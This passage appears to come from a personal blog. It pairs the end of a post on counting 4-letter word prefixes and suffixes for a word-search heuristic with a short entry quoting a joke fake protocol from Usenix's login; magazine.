Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.

If there’s any interest, I will post my full list  (it’s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.

In an otherwise generally unremarkable piece in the April 2010 issue of Usenix’s login; magazine (pp. 70-71) listing goofy fake protocols, Robert Ferrell has this gem:

Internet Chaff Relay: The short-lived predecessor to Twitter